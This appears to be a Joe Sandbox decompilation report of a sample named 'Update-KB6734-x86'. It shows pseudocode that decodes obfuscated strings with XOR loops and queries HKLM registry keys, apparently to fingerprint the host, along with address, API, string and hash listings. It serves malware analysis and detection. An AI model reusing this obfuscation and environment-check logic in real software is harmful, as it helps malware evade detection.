				_t294 =  *0x431f34; // 0x32
				_t323 =  *0x431f2c; // 0x0
				_t334 = _t333 ^ _t294 * 0x000007f3;
				 *0x431f30 = _t323 & 0x00000002;
				if(RegQueryValueExA( *(_t343 + 0x20), _t341, 0, _t343 + 0x1c, _t287, _t343 + 0x18) == 0) {
					_t326 =  *0x431f38 & 0x0000ffff;
					_t297 =  *0x431f2c; // 0x0
					_t262 = _t326 *  *0x431f34;
					_t298 = _t297 & _t262 - 0x00000043;
					 *0x431f2c = _t298;
					_t335 = _t334 ^ _t262 * 0x00000025;
					 *0x431f30 = _t298 & 0x00000002;
					 *0x431f34 = _t326 * 4;
					_t265 = E00425A4D(_t287, _t330, _t335, _t287, 0x42e310);
					_t344 = _t343 + 8;
					if(_t265 != 0) {
						_t282 = E004259C0(_t265);
						_t344 = _t344 + 4;
						 *((intOrPtr*)(_t330 + 0x24)) = _t282;
					}
					_t300 =  *0x431f2c; // 0x0
					_t336 = _t335 * 0x2ed1;
					 *0x431f38 =  *0x431f38 | _t336;
					 *0x431f2c = _t300 - _t336;
					_t266 = E00425A4D(_t287, _t330, _t336, 0, 0x42e310);
					_t345 = _t344 + 8;
					if(_t266 != 0) {
						_t281 = E004259C0(_t266);
						_t345 = _t345 + 4;
						 *((intOrPtr*)(_t330 + 0x28)) = _t281;
					}
					_t267 =  *0x431f34; // 0x32
					 *0x431f34 = _t267 ^ ( *0x431f38 & 0x0000ffff) *  *0x431f30 * 0x00000025;
					_t269 = E00425A4D(_t287, _t330, _t336, 0, 0x42e310);
					_t343 = _t345 + 8;
					if(_t269 != 0) {
						_t280 = E004259C0(_t269);
						_t343 = _t343 + 4;
						 *((intOrPtr*)(_t330 + 0x2c)) = _t280;
					}
					 *0x431f2c = ( *0x431f38 & 0x0000ffff) + 0x50;
					 *((intOrPtr*)(_t330 + 0x30)) = 0x15;
					 *(_t330 + 0x38) = 1;
				} else {
					 *((intOrPtr*)(_t330 + 0x34)) = GetLastError();
				}
				_t227 = _t330 + 0x34; // 0x431ccc
				 *0x431f34 = ( *0x431f38 & 0x0000ffff) << 2;
				 *0x431f30 = 0x3d;
				 *((intOrPtr*)(_t330 + 0x3c)) = E0041F020( *((intOrPtr*)(_t343 + 0x28)), _t227);
				 *((intOrPtr*)(_t330 + 0x40)) = E0041F100(_t330, _t343 + 0x20, _t227);
				HeapFree(GetProcessHeap(), 0, _t287);
				RegCloseKey( *(_t343 + 0x10));
				return E00424873(0,  *((intOrPtr*)(_t343 + 0xbc)));
			}

0x0041fd56
0x0041fd5d
0x0041fd66
0x0041fd69
0x0041fd6a
0x0041fd6c
0x0041fd70
0x0041fd76
0x0041fd7c
0x0041fd80
0x0041fd86
0x0041fd8a
0x0041fd8e
0x0041fd92
0x0041fd98
0x0041fda0
0x0041fda5
0x0041fdaa
0x0041fdaf
0x0041fdb4
0x0041fdb9
0x0041fdbe
0x0041fdc3
0x0041fdc8
0x0041fdcd
0x0041fdd2
0x0041fdd7
0x0041fddc
0x0041fde1
0x0041fde6
0x0041fdeb
0x0041fdf0
0x0041fdf5
0x0041fdfa
0x0041fdff
0x0041fe04
0x0041fe09
0x0041fe0d
0x0041fe12
0x0041fe17
0x0041fe1c
0x0041fe21
0x0041fe26
0x0041fe2b
0x0041fe30
0x0041fe35
0x0041fe3a
0x0041fe3f
0x0041fe44
0x0041fe49
0x0041fe4e
0x0041fe53
0x0041fe58
0x0041fe5d
0x0041fe62
0x0041fe67
0x0041fe6c
0x0041fe71
0x0041fe75
0x0041fe7a
0x0041fe7f
0x0041fe84
0x0041fe88
0x0041fe8d
0x0041fe91
0x0041fe95
0x0041fe9a
0x0041fe9f
0x0041fea4
0x0041fea8
0x0041feac
0x0041feb1
0x0041feba
0x0041fec1
0x0041feca
0x0041fed3
0x0041feda
0x0041fee1
0x0041fee6
0x0041feeb
0x0041fef0
0x0041fef5
0x0041fefa
0x0041feff
0x0041ff07
0x0041ff0f
0x0041ff17
0x0041ff1f
0x0041ff27
0x0041ff2f
0x0041ff37
0x0041ff3f
0x0041ff47
0x0041ff4f
0x0041ff57
0x0041ff5f
0x0041ff66
0x0041ff6e
0x0041ff76
0x0041ff7e
0x0041ff86
0x0041ff8e
0x0041ff96
0x0041ff9e
0x0041ffa6
0x0041ffae
0x0041ffb6
0x0041ffbe
0x0041ffc6
0x0041ffce
0x0041ffd6
0x0041ffde
0x0041ffe6
0x0041ffed
0x0041fff5
0x0041fffd
0x00420005
0x0042000d
0x00420015
0x0042001d
0x00420025
0x0042002d
0x00420034
0x0042003c
0x00420043
0x0042004b
0x00420050
0x00420054
0x0042005c
0x00420064
0x0042006c
0x00420074
0x0042007c
0x00420080
0x00420083
0x00420088
0x00420090
0x00420094
0x0042009c
0x004200a0
0x004200ad
0x004200b3
0x004200b8
0x004200bd
0x004200c2
0x004200c7
0x004200cc
0x004200d1
0x004200d6
0x004200db
0x004200e0
0x004200e5
0x004200ea
0x004200ef
0x004200f9
0x00420104
0x00420108
0x00420116
0x0042011e
0x00420126
0x0042012e
0x00420136
0x0042013e
0x00420146
0x0042014e
0x00420156
0x0042015e
0x00420166
0x0042016e
0x00420173
0x00420178
0x0042017d
0x00420182
0x00420187
0x0042018c
0x00420191
0x00420196
0x004201a0
0x004201a4
0x004201d5
0x004201da
0x004201de
0x004201e3
0x004201e8
0x004201ed
0x004201f2
0x004201f7
0x004201fc
0x00420201
0x00420207
0x0042020f
0x0042022b
0x00420239
0x0042023e
0x00420246
0x0042024e
0x00420251
0x00420251
0x00420256
0x0042025c
0x0042026e
0x0042027a
0x0042028e
0x0042029e
0x004202a5
0x004202ad
0x004202ba
0x004202bc
0x004202c2
0x004202d4
0x004202da
0x004202df
0x004202e4
0x004202e9
0x004202ec
0x004202f1
0x004202f4
0x004202f4
0x004202f7
0x004202fd
0x00420303
0x00420313
0x00420319
0x0042031e
0x00420323
0x00420326
0x0042032b
0x0042032e
0x0042032e
0x0042033f
0x00420353
0x00420358
0x0042035d
0x00420362
0x00420365
0x0042036a
0x0042036d
0x0042036d
0x0042037a
0x0042037f
0x00420386
0x00420290
0x00420296
0x00420296
0x0042039b
0x0042039f
0x004203a8
0x004203b4
0x004203c7
0x004203d1
0x004203dc
0x004203fa

APIs

GetProcessHeap.KERNEL32(00000008,000000FF), ref: 00420217
HeapAlloc.KERNEL32(00000000), ref: 0042021E
RegOpenKeyExA.KERNELBASE(80000002,00000006,00000000,00000001,00000000), ref: 0042023E
GetLastError.KERNEL32 ref: 00420248
RegQueryValueExA.ADVAPI32(000000FF,00000000,00000000,00000000,00000000,?), ref: 00420286
GetLastError.KERNEL32 ref: 00420290
GetProcessHeap.KERNEL32(00000000,00000000,?,00431CCC,?,00431CCC,?,?,?,?,?,00000001), ref: 004203CA
HeapFree.KERNEL32(00000000,?,?,?,?,?,00000001), ref: 004203D1
RegCloseKey.ADVAPI32(?,?,?,?,?,?,00000001), ref: 004203DC

Strings

}, xrefs: 0041FF86
4, xrefs: 00420182
\, xrefs: 0041FE12
u, xrefs: 0041FE9A
], xrefs: 0041FF37
4, xrefs: 0041FDC3
e, xrefs: 004201ED
v, xrefs: 004201E8
z, xrefs: 0041FDD2
{, xrefs: 0041FDA0
a, xrefs: 00420173
v, xrefs: 0041FE35
}, xrefs: 0041FE58
G, xrefs: 004201F7
Y, xrefs: 0041FDAA
:, xrefs: 0041FE7A
A, xrefs: 0041FE44
h, xrefs: 0041FEEB
!, xrefs: 004200B3
g, xrefs: 0041FEFF
L, xrefs: 0041FE62
w, xrefs: 004200EF
, xrefs: 0041FFC6
2, xrefs: 0041FDFA
0, xrefs: 0041FDDC
m, xrefs: 00420025
t, xrefs: 004201DE
[, xrefs: 00420146
i, xrefs: 004201E3
e, xrefs: 004200C2
p, xrefs: 0041FE49
,, xrefs: 0041FFCE
:, xrefs: 0041FDA5
I, xrefs: 0041FE4E
p, xrefs: 0041FFAE
$, xrefs: 0041FFB6
H, xrefs: 0042001D
D, xrefs: 0041FF07
q, xrefs: 004200B8
y, xrefs: 0041FE0D
A, xrefs: 004201D5
S, xrefs: 0041FE2B
b, xrefs: 0041FEE6
{, xrefs: 00420126
-, xrefs: 0041FFF5
3, xrefs: 0041FE6C
', xrefs: 0041FDBE
(, xrefs: 0041FE95
S, xrefs: 004201F2
|, xrefs: 00420034
C, xrefs: 0042013E

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: Heap$ErrorLastProcess$AllocCloseFreeOpenQueryValue
String ID: $!$$$'$($,$-$0$2$3$4$4$:$:$A$A$C$D$G$H$I$L$S$S$Y$[$\$]$a$b$e$e$g$h$i$m$p$p$q$t$u$v$v$w$y$z${${$|$}$}
API String ID: 1434707997-4021543146
Opcode ID: 29d92220c5e11e6036931e209fc08ce3f9ddb880bb74b97bf96d4e468b4b4558
Instruction ID: 8a31240bc7adcf6ea3cc165c57d100c60a11fb3bc5011af5590440d63b5ba69d
Opcode Fuzzy Hash: 29d92220c5e11e6036931e209fc08ce3f9ddb880bb74b97bf96d4e468b4b4558
Instruction Fuzzy Hash: 6D12072110D7C1CDD332C779984879BBFD55BA7228F485A9DE1E84B2E3C3A98109C76B

Uniqueness

Uniqueness Score: -1.00%

Function 00420AC8, Relevance: 105.3, APIs: 14, Strings: 46, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E00420AC8(void* __eax, char __ebx, char __edx, char* __edi, void* _a4, void* _a16, void* _a20, int _a24, int _a28, intOrPtr _a32, char _a36, char _a37, char _a38, char _a39, char _a40, char _a41, char _a42, char _a43, char _a44, char _a45, char _a46, char _a47, char _a48, char _a49, char _a50, char _a51, char _a52, char _a64, char _a72, char _a73, char _a74, char _a75, char _a76, char _a77, char _a78, char _a79, char _a80, char _a81, char _a88, char _a136, char _a168, char _a169, char _a170, char _a171, char _a172, char _a173, char _a174, char _a175, char _a176, char _a177, char _a178, char _a179, char _a180, char _a181, char _a182, char _a183, char _a184, char _a185, char _a186, char _a187, char _a188, char _a189, char _a190, char _a191, char _a192, char _a193, char _a194, char _a195, char _a196, char _a197, char _a198, char _a199, char _a200, char _a201, char _a202, char _a203, char _a204, char _a205, char _a206, char _a208, char _a209, char _a210, char _a211, char _a212, char _a213, char _a214, char _a215, char _a216, char _a217, char _a218, char _a219, char _a220, char _a221, char _a222, char _a223, char _a224, char _a225, char _a226, char _a227, char _a228, char _a229, char _a230, char _a231, char _a232, char _a233, char _a234, char _a235, char _a236, char _a237, char _a238, char _a239, char _a240, char _a241, char _a242, char _a243, char _a244, char _a245, char _a246, intOrPtr _a268) {
				void* _v0;
				void* __ebp;
				void* _t199;
				signed int _t200;
				intOrPtr* _t203;
				void* _t207;
				signed short _t208;
				long _t222;
				long _t227;
				long _t230;
				intOrPtr* _t231;
				signed short _t233;
				long _t246;
				signed int _t252;
				intOrPtr _t254;
				intOrPtr* _t268;
				char _t269;
				signed short _t272;
				intOrPtr* _t280;
				intOrPtr* _t289;
				signed int _t290;
				intOrPtr* _t296;
				char* _t297;
				intOrPtr* _t303;
				signed int _t304;
				char* _t308;
				signed int _t309;
				void* _t311;

				_t297 = __edi;
				_t199 = __eax;
				do {
					 *(_t311 + _t199 + 0x58) =  *(_t311 + _t199 + 0x58) ^  *(_t311 + _t199 + 0x48);
					 *(_t311 + _t199 + 0x59) =  *(_t311 + _t199 + 0x59) ^  *(_t311 + _t199 + 0x49);
					 *(_t311 + _t199 + 0x5a) =  *(_t311 + _t199 + 0x5a) ^  *(_t311 + _t199 + 0x4a);
					 *(_t311 + _t199 + 0x5b) =  *(_t311 + _t199 + 0x5b) ^  *(_t311 + _t199 + 0x4b);
					 *(_t311 + _t199 + 0x5c) =  *(_t311 + _t199 + 0x5c) ^  *(_t311 + _t199 + 0x4c);
					_t199 = _t199 + 5;
				} while (_t199 < 0xf);
				_t200 =  *0x431f34; // 0x32
				 *0x431f34 = _t200 + 0x32;
				_a42 = 0x78;
				_a48 = 0x78;
				_a36 = 0x4e;
				_a37 = 0x64;
				_a38 = 0x70;
				_a39 = 0x7c;
				_a40 = 0x73;
				_a41 = 0x69;
				_a43 = 0x7e;
				_a44 = 0x3d;
				_a45 = 0x5e;
				_a46 = 0x72;
				_a47 = 0x6f;
				_a49 = 0x3d;
				_a50 = 0x51;
				_a51 = 0x5e;
				_a52 = 0x1d;
				_t203 = 0;
				do {
					 *(_t311 + _t203 + 0x24) =  *(_t311 + _t203 + 0x24) ^ 0x0000001d;
					_t203 = _t203 + 1;
				} while (_t203 < 0x11);
				_a185 = 0xc3;
				_a189 = 0xc3;
				_a170 = 0xf1;
				_a196 = 0x94;
				_a208 = 0xf1;
				_a211 = 0x94;
				_a168 = 0x8a;
				_a169 = 0x26;
				_a171 = 0xa3;
				_a172 = 0xc8;
				_a173 = 0xed;
				_a174 = __ebx;
				_a175 = 0x1e;
				_a176 = 0x25;
				_a177 = 0x12;
				_a178 = 0x52;
				_a179 = 0x96;
				_a180 = 0xad;
				_a181 = 0x9e;
				_a182 = 0xbf;
				_a183 = 0x75;
				_a184 = 0xdd;
				_a186 = 0xce;
				_a187 = 0x7d;
				_a188 = 0xa8;
				_a190 = __edx;
				_a191 = 0x7b;
				_a192 = 0xa8;
				_a193 = 0;
				_a194 = 0x35;
				_a195 = 0x16;
				_a197 = 0x19;
				_a198 = 0x2f;
				_a199 = 0xd6;
				_a200 = 0x67;
				_a201 = 0x14;
				_a202 = 0x50;
				_a203 = 0xf4;
				_a204 = 0x54;
				_a205 = 0x88;
				_a206 = 0xfc;
				_a209 = 0x60;
				_a210 = 0xc1;
				_a212 = 0xfb;
				_a213 = 0xaf;
				_a214 = 0x72;
				_a215 = 0x5d;
				_a216 = 0x1c;
				_a217 = 0x3f;
				_a218 = 0x62;
				_a219 = 0xd2;
				_a220 = 0x9b;
				_a221 = 0xa9;
				_a222 = 0x92;
				_a223 = 0x41;
				_a224 = 0x9b;
				_a225 = 0x85;
				_a226 = 0xfe;
				_a227 = 0x50;
				_a228 = 0x90;
				_a229 = 0xf4;
				_a230 = 0xac;
				_a231 = 0x3e;
				_a232 = 0x85;
				_a233 = 0x32;
				_a234 = 2;
				_a235 = 0x24;
				_a236 = 0xa0;
				_a237 = 0x28;
				_a238 = 0x6c;
				_a239 = 0xee;
				_a240 = 0x53;
				_a241 = 0x27;
				_a242 = 0x68;
				_a243 = 0xc6;
				_a244 = 0x6c;
				_a245 = 0xf5;
				_a246 = 0xfc;
				_t207 = 0;
				do {
					 *(_t311 + _t207 + 0xa8) =  *(_t311 + _t207 + 0xa8) ^  *(_t311 + _t207 + 0xd0);
					 *(_t311 + _t207 + 0xa9) =  *(_t311 + _t207 + 0xa9) ^  *(_t311 + _t207 + 0xd1);
					 *(_t311 + _t207 + 0xaa) =  *(_t311 + _t207 + 0xaa) ^  *(_t311 + _t207 + 0xd2);
					_t207 = _t207 + 3;
				} while (_t207 < 0x27);
				_t208 =  *0x431f38; // 0x2d2c
				_t252 =  *0x431f34; // 0x32
				 *0x431f34 = _t252 + 0x32;
				_a72 = 0x41;
				_a73 = 0x63;
				_a74 = 0x74;
				_a75 = 0x69;
				_a76 = 0x76;
				_a77 = 0x65;
				_a78 = 0x4e;
				_a79 = 0x49;
				_a80 = 0x53;
				_a81 = 0;
				 *0x431f38 = _t208 + 0x442;
				_a24 = 0xff;
				_a28 = 0;
				_a20 = HeapAlloc(GetProcessHeap(), 8, 0xff);
				_t222 = RegOpenKeyExA(0x80000002,  &_a136, 0, 1,  &_a16); // executed
				if(_t222 == 0) {
					_t254 = _a32;
				} else {
					_t246 = GetLastError();
					_t254 = _a32;
					 *(_t254 + 0x74) = _t246;
				}
				if(RegQueryValueExA(_a16, _t297, 0,  &_a28, _a20,  &_a24) == 0) {
					 *((intOrPtr*)(_t254 + 0x70)) = 0x17;
					 *(_t254 + 0x78) = 1;
				} else {
					 *(_t254 + 0x74) = GetLastError();
				}
				RegCloseKey(_a16);
				_t227 = RegOpenKeyExA(0x80000002, _t308, 0, 1,  &_a16); // executed
				if(_t227 != 0) {
					 *(_t254 + 0x74) = GetLastError();
				}
				_t230 = RegQueryValueExA(_a16,  &_a88, 0,  &_a28, _a20,  &_a24);
				_t309 = _t308 | 0xffffffff;
				if(_t230 == 0) {
					_push(_a20);
					 *0x431f34 = 0x6d;
					_t303 =  &_a168;
					_t231 = E0042CFCE(_t254, 0x7d6, _t303, __eflags);
					_t311 = _t311 + 4;
					while(1) {
						_t289 =  *_t231;
						_t268 = _t289;
						__eflags = _t289 -  *_t303;
						if(_t289 !=  *_t303) {
							break;
						}
						__eflags = _t268;
						if(_t268 == 0) {
							L21:
							_t231 = 0;
							L23:
							__eflags = _t231;
							if(_t231 == 0) {
								 *(_t254 + 0x64) = 0x7d6;
							}
							goto L25;
						}
						_t296 =  *((intOrPtr*)(_t231 + 1));
						_t280 = _t296;
						__eflags = _t296 -  *((intOrPtr*)(_t303 + 1));
						if(_t296 !=  *((intOrPtr*)(_t303 + 1))) {
							break;
						}
						_t231 = _t231 + 2;
						_t303 = _t303 + 2;
						__eflags = _t280;
						if(_t280 != 0) {
							continue;
						}
						goto L21;
					}
					asm("sbb eax, eax");
					asm("sbb eax, ebp");
					goto L23;
				} else {
					 *(_t254 + 0x74) = GetLastError();
					 *0x431f2c = 0x5a;
					L25:
					_t269 =  *0x431f30;
					_t290 =  *0x431f2c; // 0x0
					 *0x431f30 = 0x3d;
					_t233 = 0x77 - _t269;
					 *0x431f38 = _t233;
					 *0x431f34 = (_t233 & 0x0000ffff) << 2;
					_t272 = _t269 + _t290 + 0x0000000b & 0x00000016;
					if( *(_t254 + 0x64) != 0x7d6) {
						 *(_t254 + 0x64) = _t309;
						 *(_t254 + 0x68) = _t309;
						 *(_t254 + 0x6c) = _t309;
						_t233 =  *0x431f38; // 0x2d2c
					}
					_t304 =  *0x431f2c; // 0x0
					 *0x431f2c = _t304 & _t272 * (_t233 & 0x0000ffff) - 0x00000043;
					_t191 = _t254 + 0x74; // 0x173
					_t306 = _t191;
					 *0x431f34 = 0x6d;
					 *0x431f38 = 0x3a;
					 *((intOrPtr*)(_t254 + 0x7c)) = E0041F020( &_a36, _t191);
					 *((intOrPtr*)(_t254 + 0x80)) = E0041F100(_t254,  &_a64, _t306);
					HeapFree(GetProcessHeap(), 0, _a4);
					RegCloseKey(_v0);
					return E00424873(0, _a268);
				}
			}

0x00420ac8
0x00420ac8
0x00420ad0
0x00420ad4
0x00420adc
0x00420ae4
0x00420aec
0x00420af4
0x00420af8
0x00420afb
0x00420b00
0x00420b0c
0x00420b13
0x00420b17
0x00420b1b
0x00420b20
0x00420b25
0x00420b2a
0x00420b2f
0x00420b34
0x00420b39
0x00420b3e
0x00420b43
0x00420b48
0x00420b4d
0x00420b52
0x00420b57
0x00420b5c
0x00420b61
0x00420b66
0x00420b70
0x00420b70
0x00420b75
0x00420b76
0x00420b7f
0x00420b86
0x00420b8f
0x00420b96
0x00420b9d
0x00420ba4
0x00420baf
0x00420bb7
0x00420bbf
0x00420bc7
0x00420bcf
0x00420bd7
0x00420bde
0x00420be6
0x00420bee
0x00420bf6
0x00420bfe
0x00420c06
0x00420c0e
0x00420c16
0x00420c1e
0x00420c26
0x00420c2e
0x00420c36
0x00420c3e
0x00420c46
0x00420c4d
0x00420c55
0x00420c5d
0x00420c65
0x00420c6d
0x00420c75
0x00420c7d
0x00420c85
0x00420c8d
0x00420c95
0x00420c9d
0x00420ca5
0x00420cad
0x00420cb5
0x00420cbd
0x00420cc5
0x00420ccd
0x00420cd5
0x00420cdd
0x00420ce5
0x00420ced
0x00420cf5
0x00420cfd
0x00420d05
0x00420d0d
0x00420d15
0x00420d1d
0x00420d25
0x00420d2d
0x00420d34
0x00420d3c
0x00420d44
0x00420d4c
0x00420d54
0x00420d5c
0x00420d64
0x00420d6c
0x00420d74
0x00420d7c
0x00420d84
0x00420d8c
0x00420d94
0x00420d9c
0x00420da4
0x00420dab
0x00420db3
0x00420dbb
0x00420dc3
0x00420dcb
0x00420dd3
0x00420dda
0x00420de2
0x00420dea
0x00420df0
0x00420e07
0x00420e1e
0x00420e25
0x00420e2c
0x00420e2f
0x00420e34
0x00420e3a
0x00420e71
0x00420e77
0x00420e7b
0x00420e80
0x00420e85
0x00420e8a
0x00420e8f
0x00420e94
0x00420e99
0x00420e9e
0x00420ea3
0x00420ea8
0x00420eae
0x00420eb6
0x00420ed1
0x00420eeb
0x00420eef
0x00420f00
0x00420ef1
0x00420ef1
0x00420ef7
0x00420efb
0x00420efb
0x00420f25
0x00420f32
0x00420f39
0x00420f27
0x00420f2d
0x00420f2d
0x00420f45
0x00420f5a
0x00420f5e
0x00420f66
0x00420f66
0x00420f84
0x00420f86
0x00420f90
0x00420fab
0x00420fac
0x00420fb6
0x00420fbd
0x00420fc2
0x00420fc5
0x00420fc5
0x00420fc7
0x00420fc9
0x00420fcb
0x00000000
0x00000000
0x00420fcd
0x00420fcf
0x00420fe5
0x00420fe5
0x00420fed
0x00420fed
0x00420fef
0x00420ff1
0x00420ff1
0x00000000
0x00420fef
0x00420fd1
0x00420fd4
0x00420fd6
0x00420fd9
0x00000000
0x00000000
0x00420fdb
0x00420fde
0x00420fe1
0x00420fe3
0x00000000
0x00000000
0x00000000
0x00420fe3
0x00420fe9
0x00420feb
0x00000000
0x00420f92
0x00420f98
0x00420f9b
0x00420ff4
0x00420ff4
0x00420ffc
0x00421007
0x0042100e
0x0042101b
0x00421021
0x0042102a
0x00421030
0x00421032
0x00421035
0x00421038
0x0042103b
0x0042103b
0x00421041
0x00421055
0x0042105b
0x0042105b
0x00421066
0x00421070
0x00421086
0x00421095
0x004210a2
0x004210ad
0x004210ca
0x004210ca

Strings

/, xrefs: 00420C7D
', xrefs: 00420DBB
^, xrefs: 00420B5C
u, xrefs: 00420C1E
i, xrefs: 00420E85
2, xrefs: 00420D7C
P, xrefs: 00420D4C
r, xrefs: 00420CE5
|, xrefs: 00420B2A
$, xrefs: 00420D8C
=, xrefs: 00420B52
&, xrefs: 00420BB7
5, xrefs: 00420C65
Q, xrefs: 00420B57
%, xrefs: 00420BE6
o, xrefs: 00420B4D
I, xrefs: 00420E99
s, xrefs: 00420B2F
(, xrefs: 00420D9C
b, xrefs: 00420D05
?, xrefs: 00420CFD
h, xrefs: 00420DC3
{, xrefs: 00420C4D
c, xrefs: 00420E7B
d, xrefs: 00420B20
~, xrefs: 00420B39
t, xrefs: 00420E80
v, xrefs: 00420E8A
>, xrefs: 00420D6C
g, xrefs: 00420C8D
T, xrefs: 00420CAD
e, xrefs: 00420E8F
S, xrefs: 00420DB3
S, xrefs: 00420E9E
i, xrefs: 00420B34
=, xrefs: 00420B3E
R, xrefs: 00420BF6
N, xrefs: 00420E94
N, xrefs: 00420B1B
^, xrefs: 00420B43
P, xrefs: 00420C9D
`, xrefs: 00420CC5
], xrefs: 00420CED
p, xrefs: 00420B25
}, xrefs: 00420C36
r, xrefs: 00420B48

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID:
String ID: $$%$&$'$($/$2$5$=$=$>$?$I$N$N$P$P$Q$R$S$S$T$]$^$^$`$b$c$d$e$g$h$i$i$o$p$r$r$s$t$u$v${$|$}$~
API String ID: 0-2688660894
Opcode ID: 1abc28a2f8c18677790b7c21e6b3aee0d4b5a8bd8af1e207959e33944dc72c7b
Instruction ID: abd944b4bf66b48f6ff19b161d47c379f6673315fd2279abf8dc63a53f241184
Opcode Fuzzy Hash: 1abc28a2f8c18677790b7c21e6b3aee0d4b5a8bd8af1e207959e33944dc72c7b
Instruction Fuzzy Hash: 6EF10A2010D7C18AD332CB789848B9FBFD55BA6314F484AADE1D95B2E3D3B98109C727

Uniqueness

Uniqueness Score: -1.00%

Function 004210D0, Relevance: 91.3, APIs: 7, Strings: 45, Instructions: 276
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004210D0(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _t222;
				void* _t225;
				void* _t227;
				void* _t229;
				signed int _t233;
				signed int _t234;
				short _t264;
				void* _t294;
				intOrPtr _t295;
				void* _t297;
				void* _t298;

				_t222 =  *0x4310d8; // 0xa9302559
				_t294 = __ecx;
				 *((intOrPtr*)(_t298 + 0x78)) = _t222;
				 *((char*)(_t298 + 0x32)) = 0x7c;
				 *((char*)(_t298 + 0x35)) = 0x7c;
				 *((char*)(_t298 + 0x31)) = 0x2c;
				 *((char*)(_t298 + 0x36)) = 0x2c;
				 *((char*)(_t298 + 0x38)) = 0x50;
				 *((char*)(_t298 + 0x45)) = 0x50;
				 *((char*)(_t298 + 0x4b)) = 0x2c;
				 *((char*)(_t298 + 0x34)) = 0x54;
				 *((char*)(_t298 + 0x37)) = 0xc;
				 *((char*)(_t298 + 0x38)) = 0x12;
				 *((char*)(_t298 + 0x3b)) = 0xe7;
				 *((char*)(_t298 + 0x3d)) = 0x8d;
				 *((char*)(_t298 + 0x3e)) = 0x53;
				 *((char*)(_t298 + 0x3f)) = 0x29;
				 *(_t298 + 0x40) = 0xa2;
				 *((char*)(_t298 + 0x41)) = 0xa8;
				 *((char*)(_t298 + 0x42)) = 0x4e;
				 *((char*)(_t298 + 0x43)) = 0x45;
				 *((char*)(_t298 + 0x44)) = 0xc5;
				 *((char*)(_t298 + 0x45)) = 0x81;
				 *((char*)(_t298 + 0x46)) = 9;
				 *((char*)(_t298 + 0x47)) = 0xb3;
				 *((char*)(_t298 + 0x48)) = 0xdc;
				 *((char*)(_t298 + 0x4a)) = 0x2a;
				 *((char*)(_t298 + 0x4b)) = 0xc2;
				 *((char*)(_t298 + 0x4c)) = 5;
				 *((char*)(_t298 + 0x4d)) = 0x69;
				 *((char*)(_t298 + 0x4e)) = 0x76;
				 *((char*)(_t298 + 0x50)) = 0x20;
				 *((char*)(_t298 + 0x51)) = 0x30;
				 *((char*)(_t298 + 0x52)) = 0x70;
				 *((char*)(_t298 + 0x53)) = 0x9e;
				 *((char*)(_t298 + 0x54)) = 0x5a;
				 *((char*)(_t298 + 0x55)) = 0x4c;
				 *((char*)(_t298 + 0x58)) = 0xff;
				 *((char*)(_t298 + 0x59)) = 0x23;
				 *((char*)(_t298 + 0x5a)) = 0xca;
				 *((char*)(_t298 + 0x5b)) = 0x48;
				 *((char*)(_t298 + 0x5c)) = 0x45;
				 *((char*)(_t298 + 0x5d)) = 0xc5;
				 *((char*)(_t298 + 0x5e)) = 0x26;
				 *((char*)(_t298 + 0x5f)) = 0x5e;
				 *((char*)(_t298 + 0x60)) = 0xc;
				 *((char*)(_t298 + 0x61)) = 0xb4;
				 *((char*)(_t298 + 0x62)) = 0x14;
				 *((char*)(_t298 + 0x63)) = 0x45;
				 *((char*)(_t298 + 0x64)) = 0xc7;
				 *((char*)(_t298 + 0x65)) = 0xcc;
				 *((char*)(_t298 + 0x66)) = 0x27;
				 *((char*)(_t298 + 0x67)) = 0x28;
				 *((char*)(_t298 + 0x68)) = 0x97;
				 *((char*)(_t298 + 0x69)) = 0xce;
				 *((char*)(_t298 + 0x6a)) = 0x6c;
				 *((char*)(_t298 + 0x6b)) = 0xc1;
				 *((char*)(_t298 + 0x6c)) = 0x94;
				 *((char*)(_t298 + 0x6d)) = 0x1f;
				 *((char*)(_t298 + 0x6e)) = 0x49;
				 *((char*)(_t298 + 0x6f)) = 0xb2;
				 *((char*)(_t298 + 0x70)) = 0x1b;
				 *((char*)(_t298 + 0x71)) = 0xdd;
				 *((char*)(_t298 + 0x72)) = 0xf3;
				 *((char*)(_t298 + 0x73)) = 0x46;
				 *((char*)(_t298 + 0x74)) = 0x45;
				 *((char*)(_t298 + 0x75)) = 0x47;
				 *((char*)(_t298 + 0x76)) = 0xf1;
				 *((char*)(_t298 + 0x77)) = 0xce;
				 *((char*)(_t298 + 0x78)) = 0x12;
				_t264 =  *0x431f38; // 0x2d2c
				 *((char*)(_t298 + 0x79)) = 0xb4;
				_t225 = 0;
				do {
					 *((intOrPtr*)(_t298 + _t225 + 0x34)) =  *((intOrPtr*)(_t298 + _t225 + 0x34)) +  *((intOrPtr*)(_t298 + _t225 + 0x58));
					 *((intOrPtr*)(_t298 + _t225 + 0x35)) =  *((intOrPtr*)(_t298 + _t225 + 0x35)) +  *((intOrPtr*)(_t298 + _t225 + 0x59));
					_t225 = _t225 + 2;
					_t264 = _t264 + 0xda;
				} while (_t225 < 0x22);
				 *((char*)(_t298 + 0x16)) = 0xf2;
				 *((char*)(_t298 + 0x18)) = 0xf2;
				 *((char*)(_t298 + 0x14)) = 0x11;
				 *((char*)(_t298 + 0x15)) = 0x4d;
				 *((char*)(_t298 + 0x17)) = 0x60;
				 *((char*)(_t298 + 0x19)) = 0xf6;
